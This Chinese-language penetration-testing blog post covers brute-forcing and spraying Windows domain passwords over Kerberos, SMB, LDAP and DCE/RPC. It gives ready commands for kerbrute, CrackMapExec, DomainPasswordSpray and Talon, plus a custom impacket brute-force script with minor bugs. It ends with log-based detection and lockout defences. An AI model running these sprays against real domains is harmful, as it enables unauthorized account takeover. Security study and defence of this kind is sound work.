Windows域环境渗透下域口令爆破研究小记 2021-02-12 09:39:08 Steven Xeldax # 目录 [TOC] > 在遇到windows域环境的渗透时候,我们常常会选择直接把目标放在域账户,通过对域账户的密码爆破我们能够直接有效的突破进入到企业的域内部。如果已经掌握了一些域用户的口令,通常会选择寻找口令规律,生成字典文件,尝试对其他域用户的口令进行暴力破解。本文主要收集了各种协议在域内和域外环境的各种爆破方法。 ## 获取域密码策略 获取域环境密码策略首先必须需要有一个账户能够访问域进行查询,不然就只能随便选择一个账号,直接爆破被封后尝试出口令策略。 ### ldapsearch获取域用户口令策略 ``` ldapsearch -x -H ldap://10.168.1.183 -D "CN=administrator,CN=Users,DC=god,DC=org" -w Admin12345 -b "DC=god,DC=org" | grep replUpToDateVector -A 13 ```  通过PowerShell获取域用户口令策略和通过域共享文件获取域用户口令策略可参考 > https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E5%9F%9F%E5%86%85%E7%94%A8%E6%88%B7%E5%8F%A3%E4%BB%A4%E7%AD%96%E7%95%A5%E7%9A%84%E8%8E%B7%E5%8F%96/ ## 基于Kerberos协议的口令爆破 ### Kerberos协议基础 Kerberos是由MIT大学提出的一种网络身份验证协议,旨在通过使用密钥加密技术为C/S应用程序提供强身份验证。其实现涉及到密钥分发与密钥共享的概念。 Kerberos是基于对称加密体制(Needham-Schroeder认证协议) 的第三方认证机制,其中用户和服务依赖于第三方(Kerberos 服务器)来对彼此进行身份验证,它有两个版本v4和v5。Kerberos认证时可以使用UDP或TCP协议。 Kerberos主要有三个角色组成 1) KDC (服务器本身称为密钥分发中心) 2) AS (Authentication Server)认证服务器 3) TGS (Ticket Granting Server)票据授权服务器 #### Kerberos认证过程  Kerberos服务所在端口为88端口,采用tcp连接。 为何能利用Kerberos域进行用户枚举? 利用Kerberos错误代码进行判断 用户分别有三种状态:启用、禁用、不存在。 三种状态的错误代码分别为: KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证 KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销 KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端 发送枚举/爆破请求时,不需要预先登录到域用户下,只要攻击者所控的机器可以与域控的KDC正常通信即可。 当Kerberos下的认证失败,在Windows日志中 不会记录为RDP爆破的事件ID(4625),而是”预身份验证”失败(ID:4771)。 ### 域内域外共用爆破工具 #### kerbrute python3版本 下载地址:https://github.com/TarlogicSecurity/kerbrute  我这边在测试的时候报了个错误  #### kerbrute golang版本 默认是以udp模式进行的 下载地址:https://github.com/ropnop/kerbrute  字典格式  抓包如下:  #### pyKerbrute python2版本 下载地址:https://github.com/3gstudent/pyKerbrute tcp模式连接失败,貌似我测试的DC没有tcp的88端口,udp模式成功  抓包如下   ### 日志 口令验证成功时产生日志(4768 - A Kerberos authentication ticket (TGT) was requested) 口令验证失败时产生日志(4771 - Kerberos pre-authentication failed)  ### 题外话 这个字典看起来不错 https://github.com/attackdebris/kerberos_enum_userlists ## 基于SMB协议的口令爆破 ### SMB 协议基础 SMB(Server Message Block)服务器消息块,又称网络文件共享系统(Common Internet File System,缩写为CIFS),可用于计算机间共享文件、打印机访问。SMB消息一般使用NetBIOS(一般是139端口,很少使用137、138端口)或TCP协议(445端口)发送。SMB协议支持NTLM和较早的LAN Manager(LM)加密,后者由于安全性较低,容易被破解,已经很少使用。 #### SMB认证过程  ### 域外工具 #### CrackMapExec python3 版本 https://github.com/byt3bl33d3r/CrackMapExec 安装 docker pull byt3bl33d3r/crackmapexec 命令 docker run --rm -it byt3bl33d3r/crackmapexec smb 10.168.1.183 -u administrator -p test -d god.org  docker run --rm -it byt3bl33d3r/crackmapexec smb 10.168.1.183 -u administrator -p Admin12345 -d god.org  ## 基于Ldap协议的口令爆破 ### LDAP协议基础 下图是使用LDAP协议的身份验证流程  ### 域内爆破工具 #### DomainPasswordSpray powershell工具 下载地址:https://github.com/dafthack/DomainPasswordSpray 你在域外直接不能爆破成功的  将脚本传入到域内的机器上进行爆破可以爆破成功  ### 域外爆破工具 #### Invoke-DomainPasswordSprayOutsideTheDomain 下载地址: https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1 用法 ``` import-module .\Invoke-DomainPasswordSprayOutsideTheDomain.ps1 Invoke-DomainPasswordSprayOutsideTheDomain -Domain "192.168.1.1/DC=test,DC=com" -UserList .\user.txt -Password DomainUser123! -Verbose ```  请求报文  失败报文  成功报文  #### ldap_search python工具 python2/python3.6都可以 下载地址: https://github.com/m8r0wn/ldap_search   但在实际操作的时候貌似不太行哦  似乎还有一个新的工具可以使用  ActiveReign 下载地址: https://github.com/m8r0wn/ActiveReign 但测试下来也不行,就不丢人了  #### Talon golang 下载地址: https://github.com/optiv/Talon 使用方法: ``` C:\Users\xeldax\Downloads\Talon_2.0.1_windows_amd64.exe -H 192.168.70.167 -Userfile ..\kerbrute\user -D god.org -P "Admin12345" -sleep 1 ```  ### 日志 成功  失败  ## 基于DCE/RPC协议的口令爆破 ### DCE RPC协议基础 DCE/RPC(Distributed Computing Environment / Remote procedure Call)全称分布式计算环境/远程过程调用。RPC(远程过程调用)有v4、v5两种版本,两个版本的差别很大,现实中已经很难抓到v4的数据,一般遇到的是v5版本的数据。 一个RPC服务可以绑定多种协议序列,如: SMB —- ncacn_np (固定的139、445/TCP) TCP —- ncacn_ip_tcp (动态TCP端口) UDP —- ncadg_ip_udp (动态UDP端口) HTTP —- ncacn_http 其他协议 可以将DCE/RPC看作一层,上层协议可以是上述协议中的一种。实际上还有其他协议序列可用,但不常见,就不细说了。 ncacn_ip_tcp与ncadg_ip_udp用到了动态端口,它们会向EPM接口注册所用动态端口,而客户端可以向EPM接口查询服务端注册过的信息,(EPM接口本身也是一个RPC服务,同样有多种协议可以用来访问这个接口)。 无论使用哪种协议序列,访问一个RPC接口的都必须有Bind、Request请求。但是不同的协议序列、不同的SMB命令,就会有不同的bind响应、request响应。 整个协议栈解码过程如下  #### DCE RPC认证过程  ### 工具 这边参考安全客以及impacket自己搞了一个工具 ``` from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import samr, epm from impacket.dcerpc.v5 import dtypes from impacket import nt_errors, ntlm from impacket.dcerpc.v5.ndr import NULL import traceback import asyncio import functools dc_ip = '192.168.20.131' sem = asyncio.Semaphore(50) task_queue = asyncio.Queue() result_set = set() done = False async def brute_function(username, password): binding = epm.hept_map(dc_ip, samr.MSRPC_UUID_SAMR, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(binding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(username, password, domain, lmhash='', nthash='') ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') dce = rpctransport.get_dce_rpc() dce.connect() dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(samr.MSRPC_UUID_SAMR, transfer_syntax=ts) request = samr.SamrConnect() request['ServerName'] = 'BETO\x00' try: dce.request(request) print("[+]Login Success: %s : %s" % (user, password)) except Exception as e: traceback.print_exc() async def main(user, password): ## 可以设置回调函数 async with sem: await brute_function(user,password) def callback(future): ''' asyncio提供的`add_done_callback()`绑定的回调函数只能是普通函数, 不能是`async`声明的异步函数 ''' result_set.remove(future) ## 如果是最后一个任务(任务队列已空, 结果集合也空的时候) if task_queue.empty() and len(result_set) == 0: global done done = True async def customer(loop): while not done: if task_queue.empty(): print("[-]等待结束运行") await asyncio.sleep(1) break _username, _password = await task_queue.get() future = asyncio.run_coroutine_threadsafe(main(_username, _password), loop) future.add_done_callback(callback) result_set.add(future) async def producer(): """ 获取字典 :return: """ usernamefile = open(r'user', 'r').readlines() passwordfile = open(r'pass', 'r').readlines() for i in usernamefile: for j in passwordfile: print(i.strip(), j.strip()) await task_queue.put((i.strip(), j.strip())) if __name__ == '__main__': loop = asyncio.get_event_loop() co = [producer()] loop.run_until_complete(asyncio.wait(co)) co = [customer(loop)] loop.run_until_complete(asyncio.wait(co)) ``` ### 日志 开启日志审核的话会产生登陆日志 登录失败: 产生事件ID为4625的登陆日志 登陆成功: 产生事件ID为4624的登陆日志 ## 对于域环境口令爆破的防御方法 ### 检测 1)登陆日志 爆破行为会在短时间内产生大量的审核失败的登陆日志 2)流量特征 根据上述几种协议中认证失败的流量特征,对相同源IP、目的IP的失败次数做统计,超过阈值告警。 ### 防御 设置爆破最大次数 限制登陆错误次数,超过阈值后锁定账户。具体操作如下: 进入组策略管理器  编辑default domain policy  对账户密码锁定设置最大尝试次数  ## 参考资料 https://www.anquanke.com/post/id/229954#h3-17 https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4/ http://hackergu.com/kerberos-sec-list-brute-user/